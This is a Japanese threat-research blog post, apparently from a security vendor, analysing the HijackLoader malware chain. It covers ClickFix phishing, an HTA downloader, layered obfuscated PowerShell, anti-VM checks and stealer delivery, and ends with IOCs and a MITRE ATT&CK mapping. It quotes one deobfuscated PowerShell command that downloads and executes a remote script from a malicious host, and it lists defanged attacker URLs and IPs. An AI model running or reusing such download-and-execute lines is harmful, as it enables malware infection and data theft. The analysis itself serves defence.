目次
- イントロダクション
-
- 進化する攻撃ローダーの脅威
-
- このブログの目的
- 技術的方法論と分析
-
- 初期アクセスとソーシャルエンジニアリング
-
- 多段階の難読化と難読化解除
-
- 分析回避技術
-
- 最終ペイロード
- 結論
- IOC
- クイックヒール Seqrite 保護性能
- MITRE ATT&CK マッピング
イントロダクション
サイバー脅威の進化に伴い、悪意のあるペイロードの最終的な実行は、もはやサイバーセキュリティ業界の唯一の焦点ではなくなりました。攻撃ローダーは、現代の攻撃において重要な要素として浮上し、初期アクセスの主要なベクトルとして機能し、組織内への高度なマルウェアの密かな配信を可能にしています。単純なペイロードとは異なり、ローダーはセキュリティ防御を回避し、永続性を確立し、最終段階のマルウェアを密かに実行するための好ましい環境を作り出すという、明確な目的を持って設計されています。そのため、ローダーはより重要かつ関連性の高い脅威となり、集中的な分析が求められます。
最近、 HijackLoaderマルウェアの出現が急増しています。このマルウェアは2023年後半に初めて出現し、ペイロードを配信する能力と、ペイロードのロードおよび実行における興味深い手法により、急速に注目を集めました。主にMaaS（Malware-as-a-Service）として出現し、世界中で金銭目的の攻撃キャンペーンで確認されています。
HijackLoaderは、偽のインストーラー、SEO対策を施したウェブサイト、悪質な広告、海賊版ソフトウェア／映画ポータルなどを通じて拡散されており、広範囲にわたる、機会主義的な被害者層を確保している。
2025年XNUMX月以降、Clickfix を利用して、何も知らない被害者に悪意のある.msi インストーラをダウンロードさせ、HijackLoader を実行させる攻撃者が確認されています。DeerStealer は、被害者のマシンに最終的な実行ファイルとしてダウンロードされたことが確認されています。
最近、TAG-150 が CastleLoader/CastleBot とともに出現し、より広範な Malware-as-a-Service エコシステムの一部として HijackLoader などの外部サービスも活用していることも確認されています。
HijackLoaderは、その手口を絶えず改良しながら、頻繁にスティーラーやRATを配信しています。特に、以下のような高度な回避技術で悪名高いです。
- トランザクションセクションとのプロセスのドッペルゲング
- システムDLLのアンフック
- WOW64 での直接システムコール
- コールスタックスプーフィング
- VM対策チェック
HijackLoaderは発見以来、継続的に進化を続け、様々な業界にとって持続的かつ増大する脅威となっています。そのため、組織は、高度な多段階攻撃のリスクを軽減するために、HijackLoaderの継続的な監視体制を確立し、維持することが不可欠です。
感染連鎖
技術概要
最初のアクセスは、CAPTCHA ベースのソーシャル エンジニアリング フィッシング キャンペーンから始まります。これは Clickfix と特定されています (この手法は 2025 年 6 月にも攻撃者によって使用されていることが確認されています)。
この HTA ファイルは最初のダウンローダーとして機能し、PowerShell ファイルの実行につながります。
上記の Base64 エンコードされた文字列をデコードすると、次に示すように別の PowerShell スクリプトが取得されました。
上記のデコードされたPowerShellスクリプトは高度に難読化されており、静的分析やシグネチャベースの検出にとって大きな課題となっています。判読可能な文字列や変数を使用する代わりに、複雑な数学演算と文字配列からの文字列の再構築を通じて、コマンドと値を動的に構築します。
上記のペイロードを解決すると、以下のコマンドにデコードされますが、まだ判読できませんが、完全に難読化を解除できます。
完全な難読化解除後、スクリプトが URL に接続して後続のファイルをダウンロードしようとしていることがわかります。
iex ((New-Object System.Net.WebClient).DownloadString('https://rs.mezi[.]bet/samie_bower.mp3'))
デバッガーで実行すると、このスクリプトは URL に接続できないことを示すエラーを返します。
ファイルsamie-bower.mp3は別の PowerShell スクリプトで、18,000 行を超える高度に難読化されており、ローダーの次の段階を表しています。
デバッグの結果、このPowerShellファイルは、実行中のプロセスの数を検査したり、レジストリキーを変更したりするなど、多数のアンチVMチェックを実行していることが分かりました。
これらのチェックは、スクリプトが仮想化環境で実行されているかどうかを判断するために、VirtualBoxの識別子を特に対象として読み取っているようです。
スクリプトを分析すると、最終的なペイロードが最後の数行に存在することがわかりました。これは、最初の難読化されたローダーが最終的な悪意のあるコマンドを配信する場所です。
上記の意味不明な変数宣言は解決されており、実行時に Base64 デコード、XOR 演算、追加の復号ルーチンが実行され、その後、PE ファイルを挿入する可能性のある別の PowerShell スクリプトが読み込まれます。
このファイルをデコードすると、 MZヘッダーで識別できる埋め込みPEファイルが明らかになります。
このPEファイルは、高密度に圧縮された.NET実行ファイルです。
実行可能ペイロードは、リソース セクションから抽出されたと思われる大量のコードをロードします。
解凍されると、実行可能ペイロードが DLL ファイルをロードするように見えます。
この DLL ファイルも保護されており、リバース エンジニアリングや分析を防止するものと考えられます。
HijackLoaderは、実行ファイルとそれに続くDLLを含む多段階プロセスを使用するという履歴があります。ローダーの最終段階では、C2サーバーへの接続を試み、そこから情報窃盗マルウェアをダウンロードします。この場合、マルウェアは以下のURLへの接続を試みます。
このC2サーバーは現在アクセスできませんが、接続試行はNekoStealerマルウェアの挙動と一致しています。このHijackLoaderは、Lummaを含む様々な窃盗マルウェアのダウンロードにも関与しています。
結論
HijackLoaderのような高度なローダーから効果的に防御するには、静的な最終段階のペイロードから、動的かつ継続的に進化する配信メカニズムへと焦点を移す必要があります。初期アクセスと難読化の中間段階の検出に注力することで、組織はこの執拗な脅威に対するより強固な防御を構築できます。初期アクセスや最終ペイロードのみに焦点を当てるのではなく、すべての層にわたってプロアクティブなアプローチを採用することも同様に重要です。中間層は、攻撃者がマルウェアの展開を成功させるために最も大きな変更を加える場所であることが多いからです。
IOC：
- 1b272eb601bd48d296995d73f2cdda54ae5f9fa534efc5a6f1dab3e879014b57
- 37fc6016eea22ac5692694835dda5e590dc68412ac3a1523ba2792428053fbf4
- 3552b1fded77d4c0ec440f596de12f33be29c5a0b5463fd157c0d27259e5a2df
- 782b07c9af047cdeda6ba036cfc30c5be8edfbbf0d22f2c110fd0eb1a1a8e57d
- 921016a014af73579abc94c891cd5c20c6822f69421f27b24f8e0a044fa10184
- e2b3c5fdcba20c93cfa695f0abcabe218ac0fc2d7bc72c4c3af84a52d0218a82
- 52273e057552d886effa29cd2e78836e906ca167f65dd8a6b6a6c1708ffdfcfd
- c03eedf04f19fcce9c9b4e5ad1b0f7b69abc4bce7fb551833f37c81acf2c041e
- D0068b92aced77b7a54bd8722ad0fd1037a28821d370cf7e67cbf6fd70a608c4
- 50258134199482753e9ba3e04d8265d5f64d73a5099f689abcd1c93b5a1b80ee
- hxxps[:]//1h[.]vuregyy1[.]ru/3g2bzgrevl[.]hta
- 91 [。] 212 [。] 166 [。] 51
- 37[.]27[.]165[.]65:1477
- コシ[.]コム[.]アル
- hxxps[:]//rs[.]mezi[.]bet/samie_bower.mp3
- hxxp[:]//77[.]91[.]101[.]66/
クイックヒール Seqrite 保護：
- スクリプト.トロイの木馬.49900.GC
- ローダー.スティーラードロッパーCiR
- Trojan.InfoStealerCiR
- トロイの木馬エージェント
- BDS/511
MITRE 攻撃:
| 戦略 | テクニックID | 技名 |
| 初期アクセス | T1566.002 | フィッシング：スピアフィッシングリンク（CAPTCHAフィッシングページ） |
| T1189 | ドライブバイコンプロマイズ（マルバタイジング、SEOポイズニング、偽インストーラー） | |
| 実行 | T1059.001 | コマンドおよびスクリプト インタープリター: PowerShell |
| 防衛回避 | T1027 | 難読化されたファイルまたは情報（多段階の難読化スクリプト） |
| T1140 | ファイルまたは情報の難読化解除/デコード（Base64、XORデコード） | |
| T1562.001 | 防御を弱める: ツールを無効化または変更する (DLL のアンフック) | |
| T1070.004 | インジケーターの削除: ファイルの削除 (ステージングローダーで使用される可能性が高い) | |
| T1211 | 防御回避のためのエクスプロイト（WOW64 での直接システムコール） | |
| T1036 | マスカレード（PowerShell スクリプトの .mp3 などの偽の拡張子） | |
| プーケットの魅力 | T1082 | システム情報の検出（VM チェック、レジストリ クエリ） |
| T1497.001 | 仮想化/サンドボックス回避: システム チェック | |
| 固執 | T1547.001 | ブートまたはログオン時の自動実行: レジストリ実行キー (レジストリの改ざん) |
| 永続性 / 特権 Esc。 | T1055 | プロセスインジェクション（PEインジェクションルーチン） |
| コマンドアンドコントロール（C2） | T1071.001 | アプリケーション層プロトコル: Web プロトコル (HTTP/HTTPS C2 トラフィック) |
| T1105 | Ingress ツール転送 (追加のペイロードのダウンロード) | |
| インパクト/コレクション | T1056 / T1005 | 入力キャプチャ / ローカル システムからのデータ (最終ペイロードの情報窃盗機能) |
著者：
ニラジ・ラザラス・マカサレ
シュルティルパ・バナージー
